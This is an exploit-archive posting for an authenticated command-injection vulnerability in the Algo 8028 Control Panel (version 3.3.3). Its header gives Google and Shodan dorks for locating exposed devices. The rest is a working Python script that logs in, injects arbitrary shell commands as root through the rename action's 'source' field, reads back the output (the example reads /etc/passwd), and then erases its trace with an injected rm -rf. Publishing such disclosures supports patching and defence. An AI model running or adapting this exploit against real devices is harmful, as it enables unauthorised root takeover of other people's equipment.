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Algo 8028 Control Panel Remote Code Execution

Algo 8028 Control Panel Remote Code Execution
Posted Jun 20, 2022
Authored by Filip Carlsson

Algo 8028 Control Panel suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 269a3cba2dc9e70ada2547e5b11fd24b5116cd24aefdba4b3dc9da7fd69e107c

Algo 8028 Control Panel Remote Code Execution

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# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:"Algo 8028 Control Panel"
# Shodan: title:"Algo 8028 Control Panel"
# Date: 2022-06-07
# Exploit Author: Filip Carlsson
# Vendor Homepage: https://www.algosolutions.com/
# Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/
# Version: 3.3.3
# Tested on: Version 3.3.3
# CVE : N/A
# Exploit:

# Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root
# Request: POST
# Formdata:
# action: rename
# source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"
# target: /

#!/usr/bin/env python3
import sys
import requests

cookie=None

def main():
# check if provided 3 args
if len(sys.argv) != 4:
print_help()
return
else:
host = sys.argv[1]
password = sys.argv[2]
command = sys.argv[3]

if login(host, password):
# if login was successful, send command
send_command(host, command)

def print_help():
print("Usage: algo.py 192.168.1.123 password command")
print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")

def login(host, password):
url = f"http://{host}/index.lua"
data = {"pwd": password}
res = requests.post(url, data=data)

# check if html contains "Invalid Password"
if "Invalid Password" in res.text:
print("Invalid password")
return False
else:
# save cookie
global cookie
cookie = res.cookies
print("Successfully logged in\n")
return True

def send_command(host, command):
url = f"http://{host}/control/fm-data.lua"
data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}
res = requests.post(url, data=data, cookies=cookie)

# get http://host/cmd.txt
url = f"http://{host}/a.txt"
res = requests.get(url)

# if "404 Not Found" in text then command was not executed
if "404 Not Found" in res.text:
print("Command was not executed (404)")
else:
print(res.text)

# delete cmd.txt
url = f"http://{host}/control/fm-data.lua"
data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}
requests.post(url, data=data, cookies=cookie)

if __name__ == "__main__":
main()

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